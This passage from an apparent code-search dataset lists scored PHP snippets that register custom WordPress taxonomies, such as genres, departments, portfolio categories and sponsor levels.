'show_admin_column' => true,\n 'query_var' => true\n )\n ),\n // ## Levels ##\n array(\n 'taxonomy' => self::TAX_LEVELS,\n 'object_type' => self::POST_TYPE_BADGES,\n 'args' => array(\n 'labels' => array(\n 'name' => _x('Levels', 'taxonomy general name'),\n 'singular_name' => _x('Levels', 'taxonomy singular name'),\n 'search_items' => __('Search Levels'),\n 'all_items' => __('All Levels'),\n 'parent_item' => __('Parent Level'),\n 'parent_item_colon' => __('Parent Level:'),\n 'edit_item' => __('Edit Level'),\n 'update_item' => __('Update Level'),\n 'add_new_item' => __('Add New Level'),\n 'new_item_name' => __('New Level Name'),\n 'menu_name' => __('Level of Education'),\n ),\n 'rewrite' => array('slug' => self::TAX_LEVELS),\n 'hierarchical' => false,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true\n )\n ),\n );\n\n $this->settings->loadTaxonomies($args);\n }", "title": "" }, { "docid": "f211edfc7af9c317581e441a7cd8ab2c", "score": "0.66506034", "text": "public function create_portfolio_taxonomies()\n {\n $labels = array(\n 'name' => _x( 'portfolio_category', 'taxonomy general name' ),\n 'singular_name' => _x( 'portfolio_category', 'taxonomy singular name' ),\n 'search_items' => __( 'Search portfolio_categories' ),\n 'popular_items' => __( 'Popular portfolio_categories' ),\n 'all_items' => __( 'All portfolio_categories' ),\n 'parent_item' => __( 'Parent portfolio_category' ),\n 'parent_item_colon' => __( 'Parent portfolio_category:' ),\n 'edit_item' => __( 'Edit portfolio_category' ),\n 'update_item' => __( 'Update portfolio_category' ),\n 'add_new_item' => __( 'Add New portfolio_category' ),\n 'new_item_name' => __( 'New portfolio_category Name' ),\n );\n register_taxonomy('portfolio_categories',array('portfolio'), array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'portfolio_categories' ),\n ));\n }", "title": "" }, { "docid": "9ca4ca90047a25e3b9f746431f2661f5", "score": "0.6637541", "text": "function c_tax_team_member(){\n//Type de team memberspecifies if the team member is a founder, an associate, a partner...\n\n $labels = array(\n 'name' => _x( 'Type de team member', 'taxonomy general name' ),\n 'singular_name' => _x( 'Type de team member', 'taxonomy singular name' ),\n 'search_items' => __( 'Chercher parmis les Type de team members' ),\n 'all_items' => __( 'Tous les Type de team members' ),\n 'parent_item' => __( 'Parent Domaine Type de team member' ),\n 'parent_item_colon' => __( 'Parent Type de team member:' ),\n 'edit_item' => __( 'Editer le profil du Type de team member' ), \n 'update_item' => __( 'Mettre à jour le Type de team member' ),\n 'add_new_item' => __( 'Ajouter un nouveau Type de team member' ),\n 'new_item_name' => __( 'Nom du nouveau Type de team member' ),\n 'menu_name' => __( 'Type de team member' )\n );\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'capabilities' => array('assign_terms'),\n 'publicly_queryable' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'team-member-type', 'with_front' => true)\n );\n return register_taxonomy( 'team-member-type', 'team-member', $args );\n}", "title": "" }, { "docid": "7008dba6db6969054601699ed4f229d8", "score": "0.66115147", "text": "function kulam_acf_register_custom_taxonomies() {\n\n\t/**\n\t * Variables\n\t */\n\t$custom_tax\t= kulam_acf_get_global_option( 'acf-option_custom_taxonomies_generator' );\n\n\tif ( ! $custom_tax )\n\t\treturn;\n\n\tforeach ( $custom_tax as $tax ) {\n\n\t\t/**\n\t\t * Variables\n\t\t */\n\t\t$name\t\t= $tax[ 'name' ];\n\t\t$singular\t= $tax[ 'singular_name' ];\n\n\t\tif ( ! $name || ! $singular )\n\t\t\tcontinue;\n\n\t\t$labels = kulam_get_custom_taxonomy_labels( $name, $singular );\n\n\t\tif ( ! $labels )\n\t\t\tcontinue;\n\n\t\t$args = array(\n\t\t\t'labels'\t\t\t\t=> $labels,\n\t\t\t'public'\t\t\t\t=> true,\n\t\t\t'hierarchical'\t\t\t=> true,\n\t\t\t'show_in_rest'\t\t\t=> true,\n\t\t\t'show_admin_column'\t\t=> true,\n\t\t);\n\n\t\tregister_taxonomy( urldecode( sanitize_title( urldecode( 'post_tax_' . $singular ) ) ), 'post', $args );\n\n\t}\n\n}", "title": "" }, { "docid": "2ab86467d6d3fe2a792bc47062beba37", "score": "0.6609151", "text": "public function register_cf7_taxonomy(){\n $plural = 'Form Types';\n $name = 'Form Type';\n $is_hierarchical = true;\n $slug = 'wpcf7_type';\n $labels = array(\n \t\t'name' => $plural,\n \t\t'singular_name' => $name,\n \t\t'menu_name' => $plural,\n \t\t'all_items' => 'All '.$plural,\n \t\t'parent_item' => 'Parent '.$name,\n \t\t'parent_item_colon' => 'Parent '.$name.':',\n \t\t'new_item_name' => 'New '.$name.' Name',\n \t\t'add_new_item' => 'Add New '.$name,\n \t\t'edit_item' => 'Edit '.$name,\n \t\t'update_item' => 'Update '.$name,\n \t\t'view_item' => 'View '.$name,\n \t\t'separate_items_with_commas' => 'Separate '.$plural.' with commas',\n \t\t'add_or_remove_items' => 'Add or remove '.$plural,\n \t\t'choose_from_most_used' => 'Choose from the most used',\n \t\t'popular_items' => 'Popular '.$plural,\n \t\t'search_items' => 'Search '.$plural,\n \t\t'not_found' => 'Not Found',\n \t\t'no_terms' => 'No '.$plural,\n \t\t'items_list' => $plural.' list',\n \t\t'items_list_navigation' => $plural.' list navigation',\n \t);\n //labels can be modified post registration\n \t$args = array(\n \t\t'labels' => $labels,\n \t\t'hierarchical' => $is_hierarchical,\n \t\t'public' => true,\n \t\t'show_ui' => true,\n 'show_in_menu' => true,\n \t\t'show_admin_column' => true,\n \t\t'show_in_nav_menus' => false,\n \t\t'show_tagcloud' => false,\n 'show_in_quick_edit' => true,\n 'description' => 'Contact Form 7 types',\n \t);\n\n register_taxonomy( $slug, WPCF7_ContactForm::post_type, $args );\n }", "title": "" }, { "docid": "3afc4785ff60227fdeb1aea9cb4544c4", "score": "0.6599759", "text": "function create_project_taxonomies() {\n \n // Add new taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => __( 'Project Types', 'construction' ),\n 'singular_name' => __( 'Project Type', 'construction' ),\n 'search_items' => __( 'Search Project Types','construction' ),\n 'all_items' => __( 'All Project Typees','construction' ),\n 'parent_item' => __( 'Parent Project Type','construction' ),\n 'parent_item_colon' => __( 'Parent Project Type:','construction' ),\n 'edit_item' => __( 'Edit Project Type','construction' ),\n 'update_item' => __( 'Update Project Type','construction' ),\n 'add_new_item' => __( 'Add New Project Type','construction' ),\n 'new_item_name' => __( 'New Project Type Name','construction' ),\n 'menu_name' => __( 'Project Type' ,'construction'),\n );\n\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'project-type' ),\n );\n\n register_taxonomy( 'project_type', array( 'project' ), $args );\n\n // Add new taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => __( 'Service Types', 'construction' ),\n 'singular_name' => __( 'Service Type', 'construction' ),\n 'search_items' => __( 'Search Service Types','construction' ),\n 'all_items' => __( 'All Service Typees','construction' ),\n 'parent_item' => __( 'Parent Service Type','construction' ),\n 'parent_item_colon' => __( 'Parent Service Type:','construction' ),\n 'edit_item' => __( 'Edit Service Type','construction' ),\n 'update_item' => __( 'Update Service Type','construction' ),\n 'add_new_item' => __( 'Add New Service Type','construction' ),\n 'new_item_name' => __( 'New Service Type Name','construction' ),\n 'menu_name' => __( 'Service Type' ,'construction'),\n );\n\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'service-type' ),\n );\n\n register_taxonomy( 'service-type', array( 'service' ), $args );\n\n}", "title": "" }, { "docid": "df4a4f0aab5852a2f86037f28922e671", "score": "0.65878296", "text": "private function registerTax() {\n $labels = array(\n 'name' => esc_html__( 'Portfolio Categories', 'eltdf-core' ),\n 'singular_name' => esc_html__( 'Portfolio Category', 'eltdf-core' ),\n 'search_items' => esc_html__( 'Search Portfolio Categories','eltdf-core' ),\n 'all_items' => esc_html__( 'All Portfolio Categories','eltdf-core' ),\n 'parent_item' => esc_html__( 'Parent Portfolio Category','eltdf-core' ),\n 'parent_item_colon' => esc_html__( 'Parent Portfolio Category:','eltdf-core' ),\n 'edit_item' => esc_html__( 'Edit Portfolio Category','eltdf-core' ),\n 'update_item' => esc_html__( 'Update Portfolio Category','eltdf-core' ),\n 'add_new_item' => esc_html__( 'Add New Portfolio Category','eltdf-core' ),\n 'new_item_name' => esc_html__( 'New Portfolio Category Name','eltdf-core' ),\n 'menu_name' => esc_html__( 'Portfolio Categories','eltdf-core' ),\n );\n\n register_taxonomy($this->taxBase, array($this->base), array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'query_var' => true,\n 'show_admin_column' => true,\n 'rewrite' => array( 'slug' => 'portfolio-category' ),\n ));\n }", "title": "" }, { "docid": "618fc27d9a34fd4f94b0da713629407a", "score": "0.6587254", "text": "function wpfolio_create_taxonomies() {\nregister_taxonomy('medium', 'post', array( \n\t'label' => 'Medium',\n\t'hierarchical' => false, \n\t'query_var' => true, \n\t'rewrite' => true,\n\t'public' => true,\n\t'show_ui' => true,\n\t'show_tagcloud' => true,\n\t'show_in_nav_menus' => true,));\n}", "title": "" }, { "docid": "0d97e07350d5d872bd57870558a621a0", "score": "0.6555351", "text": "function add_custom_taxonomies() {\n register_taxonomy('mechanic', 'post', array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n 'show_admin_column' => true,\n 'show_in_rest' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x( 'Mechanics', 'taxonomy general name' ),\n 'singular_name' => _x( 'Mechanic', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Mechanics' ),\n 'all_items' => __( 'All Mechanics' ),\n 'parent_item' => __( 'Parent Mechanic' ),\n 'parent_item_colon' => __( 'Parent Mechanic:' ),\n 'edit_item' => __( 'Edit Mechanic' ),\n 'update_item' => __( 'Update Mechanic' ),\n 'add_new_item' => __( 'Add New Mechanic' ),\n 'new_item_name' => __( 'New Mechanic Name' ),\n 'menu_name' => __( 'Mechanics' ),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'mechanics', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/locations/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n \n // Add new \"Locations\" taxonomy to Posts\n register_taxonomy('family', 'post', array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n 'show_admin_column' => true,\n 'show_in_rest' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x( 'Families', 'taxonomy general name' ),\n 'singular_name' => _x( 'Family', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Families' ),\n 'all_items' => __( 'All Families' ),\n 'parent_item' => __( 'Parent Family' ),\n 'parent_item_colon' => __( 'Parent Family:' ),\n 'edit_item' => __( 'Edit Family' ),\n 'update_item' => __( 'Update Family' ),\n 'add_new_item' => __( 'Add New Family' ),\n 'new_item_name' => __( 'New Family Name' ),\n 'menu_name' => __( 'Families' ),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'family', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/locations/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n \n // Add new \"Locations\" taxonomy to Posts\n register_taxonomy('publisher', 'post', array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n 'show_admin_column' => true,\n 'show_in_rest' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x( 'Publishers', 'taxonomy general name' ),\n 'singular_name' => _x( 'Publisher', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Publishers' ),\n 'all_items' => __( 'All Publishers' ),\n 'parent_item' => __( 'Parent Publisher' ),\n 'parent_item_colon' => __( 'Parent Publisher:' ),\n 'edit_item' => __( 'Edit Publisher' ),\n 'update_item' => __( 'Update Publisher' ),\n 'add_new_item' => __( 'Add New Publisher' ),\n 'new_item_name' => __( 'New Publisher Name' ),\n 'menu_name' => __( 'Publishers' ),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'publisher', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/locations/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n \n register_taxonomy('artists', 'post', array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n 'show_admin_column' => true,\n 'show_in_rest' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x( 'Artists', 'taxonomy general name' ),\n 'singular_name' => _x( 'Artist', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Artists' ),\n 'all_items' => __( 'All Artists' ),\n 'parent_item' => __( 'Parent Artist' ),\n 'parent_item_colon' => __( 'Parent Artist:' ),\n 'edit_item' => __( 'Edit Artist' ),\n 'update_item' => __( 'Update Artist' ),\n 'add_new_item' => __( 'Add New Artist' ),\n 'new_item_name' => __( 'New Artist Name' ),\n 'menu_name' => __( 'Artists' ),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'artists', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/locations/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n \n register_taxonomy('designers', 'post', array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n 'show_admin_column' => true,\n 'show_in_rest' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x( 'Designers', 'taxonomy general name' ),\n 'singular_name' => _x( 'Designer', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Designers' ),\n 'all_items' => __( 'All Designers' ),\n 'parent_item' => __( 'Parent Designer' ),\n 'parent_item_colon' => __( 'Parent Designer:' ),\n 'edit_item' => __( 'Edit Designer' ),\n 'update_item' => __( 'Update Designer' ),\n 'add_new_item' => __( 'Add New Designer' ),\n 'new_item_name' => __( 'New Designer Name' ),\n 'menu_name' => __( 'Designers' ),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'designers', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/locations/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n\n\n register_taxonomy('awards', 'post', array(\n // Hierarchical taxonomy (like categories)\n 'hierarchical' => true,\n 'show_admin_column' => true,\n 'show_in_rest' => true,\n // This array of options controls the labels displayed in the WordPress Admin UI\n 'labels' => array(\n 'name' => _x( 'Awards', 'taxonomy general name' ),\n 'singular_name' => _x( 'Award', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Awards' ),\n 'all_items' => __( 'All Awards' ),\n 'parent_item' => __( 'Parent Award' ),\n 'parent_item_colon' => __( 'Parent Award:' ),\n 'edit_item' => __( 'Edit Award' ),\n 'update_item' => __( 'Update Award' ),\n 'add_new_item' => __( 'Add New Award' ),\n 'new_item_name' => __( 'New Award Name' ),\n 'menu_name' => __( 'Awards' ),\n ),\n // Control the slugs used for this taxonomy\n 'rewrite' => array(\n 'slug' => 'awards', // This controls the base slug that will display before each term\n 'with_front' => false, // Don't display the category base before \"/locations/\"\n 'hierarchical' => true // This will allow URL's like \"/locations/boston/cambridge/\"\n ),\n ));\n }", "title": "" }, { "docid": "a43b27f4e03ea98f6d901b808cb848b4", "score": "0.6541742", "text": "function create_custom_post_types() {\n\n\t$taxonomy_args = array(\n\t\t'hierarchical'\t=> true\n\t);\n\n\tcreate_post_type( 'sale', '', 'sale', 'Venta', 'Ventas' );\n\tcreate_post_type( 'rent', '', 'rent', 'Alquiler', 'Alquileres' );\n\n}", "title": "" }, { "docid": "77c400a452ec7442d6b36bc2a7cfcfce", "score": "0.6539273", "text": "private function register_taxonomies()\n {\n $all_types = get_post_types(array(\n '_builtin' => false,\n 'public' => true,\n 'exclude_from_search' => false\n ), 'names');\n\n // Add post and page back in after removing them with _builtin: false\n $all_types['post'] = 'post';\n $all_types['page'] = 'page';\n\n // Exclude acf\n unset($all_types['acf']);\n\n // Add new taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => _x('States', 'taxonomy general name'),\n 'singular_name' => _x('State', 'taxonomy singular name'),\n 'search_items' => __('Search States'),\n 'all_items' => __('All States'),\n 'parent_item' => __('Parent State'),\n 'parent_item_colon' => __('Parent State:'),\n 'edit_item' => __('Edit State'),\n 'update_item' => __('Update State'),\n 'add_new_item' => __('Add New State'),\n 'new_item_name' => __('New State Name'),\n 'menu_name' => __('State'),\n );\n\n register_taxonomy('custom_geo_us_state', $all_types, array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'query_var' => true,\n 'rewrite' => array('slug' => 'state'),\n )\n );\n\n // Add new taxonomy, make it hierarchical (like categories)\n $labels = array(\n 'name' => _x('Countries', 'taxonomy general name'),\n 'singular_name' => _x('Country', 'taxonomy singular name'),\n 'search_items' => __('Search Countries'),\n 'all_items' => __('All Countries'),\n 'parent_item' => __('Parent Country'),\n 'parent_item_colon' => __('Parent Country:'),\n 'edit_item' => __('Edit Country'),\n 'update_item' => __('Update Country'),\n 'add_new_item' => __('Add New Country'),\n 'new_item_name' => __('New Country Name'),\n 'menu_name' => __('Country'),\n );\n\n register_taxonomy('custom_geo_country', $all_types, array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'query_var' => true,\n 'rewrite' => array('slug' => 'country'),\n )\n );\n }", "title": "" }, { "docid": "ec5c11f536cf56fed38b2a3745ab110a", "score": "0.6516454", "text": "public static function register_taxonomies() {\n\t\n\t\tregister_taxonomy( 'sponsor_level', \n\t\t\tarray( self::$post_type_name ),\n\t\t\tarray( \n\t\t\t\t'hierarchical' => true, \n\t\t\t\t'query_var' => 'sponsor_level', \n\t\t\t\t'rewrite' => array(\n\t\t\t\t\t'slug' => __( 'sponsor-level', self::$text_domain ),\n\t\t\t\t\t'with_front' => false,\n\t\t\t\t\t'hierarchical' => true\n\t\t\t\t),\n\t\t\t\t'label' => __( 'Sponsor Level', self::$text_domain ),\n\t\t\t\t'labels' => array( \n\t\t\t\t\t'name' => _x( 'Sponsor Levels', self::$text_domain ),\n\t\t\t\t\t'singular_name' => _x( 'Sponsor Level', self::$text_domain ),\n\t\t\t\t\t'search_items' => __( 'Search Sponsor Levels', self::$text_domain ),\n\t\t\t\t\t'popular_items' => __( 'Popular Sponsor Levels', self::$text_domain ),\n\t\t\t\t\t'all_items' => __( 'All Sponsor Levels', self::$text_domain ),\n\t\t\t\t\t'parent_item' => __( 'Parent Sponsor Level', self::$text_domain ),\n\t\t\t\t\t'parent_item_colon' => __( 'Parent Sponsor Level:', self::$text_domain ),\n\t\t\t\t\t'edit_item' => __( 'Edit Sponsor Level', self::$text_domain ),\n\t\t\t\t\t'update_item' => __( 'Update Sponsor Level', self::$text_domain ),\n\t\t\t\t\t'add_new_item' => __( 'Add New Sponsor Level', self::$text_domain ),\n\t\t\t\t\t'new_item_name' => __( 'New Sponsor Level Name', self::$text_domain )\n\t\t\t\t)\n\t\t\t) \n\t\t);\n\t\n\t}", "title": "" }, { "docid": "ed95d6a1722fff3c23a925b518a867aa", "score": "0.6460311", "text": "function register_taxonomies(){\n }", "title": "" }, { "docid": "f25697b42614e7c3759aae80d13219fc", "score": "0.6451657", "text": "function wpschool_register_taxonomy() {\n register_taxonomy_for_object_type( 'post_tag', 'page' );\n register_taxonomy_for_object_type( 'category', 'page' );\n}", "title": "" }, { "docid": "8eb430e9427b40ef5b70c357ed572a8d", "score": "0.6449882", "text": "function bw_create_taxonomies() {\n//first do the translations part for GUI\n \n $labels = array(\n 'name' => _x( 'Years', 'taxonomy general name' ),\n 'singular_name' => _x( 'Year', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Years' ),\n 'all_items' => __( 'All Years' ),\n 'parent_item' => __( 'Parent Year' ),\n 'parent_item_colon' => __( 'Parent Year:' ),\n 'edit_item' => __( 'Edit Year' ), \n 'update_item' => __( 'Update Year' ),\n 'add_new_item' => __( 'Add New Year' ),\n 'new_item_name' => __( 'New Year Name' ),\n 'menu_name' => __( 'Years' ),\n ); \n \n// Now register the taxonomy\n \n register_taxonomy('years',array('post'), array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'topic' ),\n ));\n \n}", "title": "" }, { "docid": "7dcb616ce54e5f8bfb689ecc140854c6", "score": "0.6439106", "text": "function faqs_init() {\r\n\t// create a new taxonomy\r\n\tregister_taxonomy(\r\n\t\t'faqscategory',\r\n\t\t'faqs',\r\n\t\tarray(\r\n\t\t\t'label' \t\t => __( 'FAQs Category' ),\r\n\t\t\t'sort' \t\t\t=> true,\r\n\t\t\t'args' \t\t\t=> array( 'orderby' => 'faqs_order' ),\r\n\t\t\t'query_var'\t => true,\r\n\t\t\t'rewrite'\t\t => array( 'slug' => 'faqscategory' ),\r\n\t\t\t'hierarchical' \t=> true\r\n\t\t)\r\n\t);\r\n}", "title": "" }, { "docid": "d5dc0ccdd3e7ec75e39e5ebd383bd29b", "score": "0.64363635", "text": "function register_taxonomies() {\n\t}", "title": "" }, { "docid": "d5dc0ccdd3e7ec75e39e5ebd383bd29b", "score": "0.64363635", "text": "function register_taxonomies() {\n\t}", "title": "" }, { "docid": "d5dc0ccdd3e7ec75e39e5ebd383bd29b", "score": "0.64363635", "text": "function register_taxonomies() {\n\t}", "title": "" }, { "docid": "d5dc0ccdd3e7ec75e39e5ebd383bd29b", "score": "0.64363635", "text": "function register_taxonomies() {\n\t}", "title": "" }, { "docid": "4b8f5d7405a15f98a46fdad82a4eded7", "score": "0.64246976", "text": "function add_custom_taxonomies() {\n\t// Add new \"Skill Type\" taxonomy to Posts\n\tregister_taxonomy('skill-type', 'portfolio', array(\n\t\t// Hierarchical taxonomy (like categories)\n\t\t'hierarchical' => true,\n\t\t'show_admin_column' => true,\n\t\t// This array of options controls the labels displayed in the WordPress Admin UI\n\t\t'labels' => array(\n\t\t\t'name' => _x( 'Skill Types', 'taxonomy general name' ),\n\t\t\t'singular_name' => _x( 'Skill Type', 'taxonomy singular name' ),\n\t\t\t'search_items' => __( 'Search Skill Types' ),\n\t\t\t'all_items' => __( 'All Skill Types' ),\n\t\t\t'parent_item' => __( 'Parent Skill Type' ),\n\t\t\t'parent_item_colon' => __( 'Parent Skill Type:' ),\n\t\t\t'edit_item' => __( 'Edit Skill Type' ),\n\t\t\t'update_item' => __( 'Update Skill Type' ),\n\t\t\t'add_new_item' => __( 'Add New Skill Type' ),\n\t\t\t'new_item_name' => __( 'New Skill Type Name' ),\n\t\t\t'menu_name' => __( 'Skill Types' ),\n\t\t),\n\t\t// Control the slugs used for this taxonomy\n\t\t'rewrite' => array(\n\t\t\t'slug' => 'skill-type', // This controls the base slug that will display before each term\n\t\t\t'with_front' => false, // Don't display the category base before \"/skill-type/\"\n\t\t\t'hierarchical' => true // This will allow URL's like \"/skill-type/css/\",\n\t\t),\n\t));\n}", "title": "" }, { "docid": "1535675accf016927afc51f8764628cb", "score": "0.64243925", "text": "function register_taxonomies(){\n }", "title": "" }, { "docid": "f62a677ddadc0ec7d16df39dbe71a2e7", "score": "0.6423009", "text": "public function addTaxonomies() {\n\n echo \"\\nAdding taxonomies to post {$this->wp_post_id}...\\n\";\n\n if( is_array($this->taxonomy_info) ){\n foreach( $this->taxonomy_info as $taxonomy_name => $terms ){\n $term_ids = implode( \" \", $this->getRandomTerms($terms) );\n $set_terms_cmd = \"wp post term set {$this->wp_post_id} {$taxonomy_name} {$term_ids} --by=id\";\n $output = shell_exec( $set_terms_cmd );\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "95a06e7f73fc8e8c5244838a68bc2e15", "score": "0.6418036", "text": "function create_ticket_tax() {\n $labels = array(\n 'name' => _x( 'Genres', 'taxonomy general name', 'textdomain' ),\n 'singular_name' => _x( 'Genre', 'taxonomy singular name', 'textdomain' ),\n 'search_items' => __( 'Search Genres', 'textdomain' ),\n 'all_items' => __( 'All Genres', 'textdomain' ),\n 'parent_item' => __( 'Parent Genre', 'textdomain' ),\n 'parent_item_colon' => __( 'Parent Genre:', 'textdomain' ),\n 'edit_item' => __( 'Edit Genre', 'textdomain' ),\n 'update_item' => __( 'Update Genre', 'textdomain' ),\n 'add_new_item' => __( 'Add New Genre', 'textdomain' ),\n 'new_item_name' => __( 'New Genre Name', 'textdomain' ),\n 'menu_name' => __( 'Genre', 'textdomain' ),\n );\n\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'genre', 'with_front' => false ),\n 'description' => 'Genre for shows and cast. Parent categories are Sports, Theater, Concerts or Other.',\n );\n\n //register_taxonomy( 'genre', array( 'show', 'cast' ), $args );\n register_taxonomy( 'genre', array( 'show' ), $args );\n\n register_taxonomy_for_object_type( 'genre', 'show' );\n //register_taxonomy_for_object_type( 'genre', 'cast' );\n\n}", "title": "" }, { "docid": "c4ae813df409472f7e56d5cfaae1c012", "score": "0.63957715", "text": "function create_topics_hierarchical_taxonomy() {\n\n// Add new taxonomy, make it hierarchical like categories\n//first do the translations part for GUI\n\n $labels = array(\n 'name' => _x( 'Departments', 'taxonomy general name' ),\n 'singular_name' => _x( 'Department', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Departments' ),\n 'all_items' => __( 'All Departments' ),\n 'parent_item' => __( 'Parent Departments' ),\n 'parent_item_colon' => __( 'Parent Department:' ),\n 'edit_item' => __( 'Edit Department' ),\n 'update_item' => __( 'Update Department' ),\n 'add_new_item' => __( 'Add New Department' ),\n 'new_item_name' => __( 'New Topic Department' ),\n 'menu_name' => __( 'Departments' ),\n );\n\n// Now register the taxonomy\n\n register_taxonomy('departments',\n array('team'),\n array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'department' ),\n ));\n\n}", "title": "" }, { "docid": "1fecf72cf887a619de119854e5ebacb4", "score": "0.6367105", "text": "function dance_create_taxonomies() {\n //first do the translations part for GUI\n \n $labels = array(\n 'name' => _x( 'Genres', 'taxonomy general name' ),\n 'singular_name' => _x( 'Genre', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Genres' ),\n 'all_items' => __( 'All Genres' ),\n 'parent_item' => __( 'Parent Genre' ),\n 'parent_item_colon' => __( 'Parent Genre:' ),\n 'edit_item' => __( 'Edit Genre' ), \n 'update_item' => __( 'Update Genre' ),\n 'add_new_item' => __( 'Add New Genre' ),\n 'new_item_name' => __( 'New Genre Name' ),\n 'menu_name' => __( 'Genres' ),\n ); \n \n // Now register the taxonomy\n \n register_taxonomy('genres',array('post'), array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'genre' ),\n ));\n }", "title": "" }, { "docid": "f1d9704551e33027eb497487fe9209ff", "score": "0.63635325", "text": "function create_vacancy_taxonomies() {\n $labels = array(\n\t\t'name' => _x( 'Employer', 'taxonomy general name', 'parkerbs' ),\n\t\t'singular_name' => _x( 'Employer', 'taxonomy singular name', 'parkerbs' ),\n\t\t'search_items' => __( 'Search Employers', 'parkerbs' ),\n\t\t'all_items' => __( 'All Employers', 'parkerbs' ),\n\t\t'parent_item' => __( 'Parent Employer', 'parkerbs' ),\n\t\t'parent_item_colon' => __( 'Parent Employer:', 'parkerbs' ),\n\t\t'edit_item' => __( 'Edit Employer', 'parkerbs' ),\n\t\t'update_item' => __( 'Update Employer', 'parkerbs' ),\n\t\t'add_new_item' => __( 'Add New Employer', 'parkerbs' ),\n\t\t'new_item_name' => __( 'New Employer Name', 'parkerbs' ),\n\t\t'menu_name' => __( 'Employer', 'parkerbs' ),\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'employer' ),\n\t\t'capabilities' => array(\n\t\t\t// 'manage_terms' => 'pbs_vacancy_manager',\n\t\t\t// 'edit_terms' => 'pbs_vacancy_manager',\n\t\t\t// 'delete_terms' => 'pbs_vacancy_manager',\n\t\t\t'assign_terms' => 'read',\n\t\t),\n\t);\n\n register_taxonomy( 'employer', 'vacancy', $args );\n}", "title": "" }, { "docid": "0ae67d09639d5a8379119b3375c1b16e", "score": "0.63373363", "text": "function add_custom_taxonomies() {\n // Add new taxonomy\n $types = array('post','page','attachment','nav_menu_item', 'learning_resource');\n register_taxonomy('asn_index', $types, array(\n 'hierarchical' => true,\n 'labels' => array(\n 'name' => _x( 'ASN Index', 'taxonomy general name' ),\n 'singular_name' => _x( 'Competency', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Competencies' ),\n 'all_items' => __( 'All Competencies' ),\n 'parent_item' => __( 'Parent Competency' ),\n 'parent_item_colon' => __( 'Parent Competency:' ),\n 'edit_item' => __( 'Edit Competency' ),\n 'update_item' => __( 'Update Competency' ),\n 'add_new_item' => __( 'Add New Competency' ),\n 'new_item_name' => __( 'New Competency Name' ),\n 'menu_name' => __( 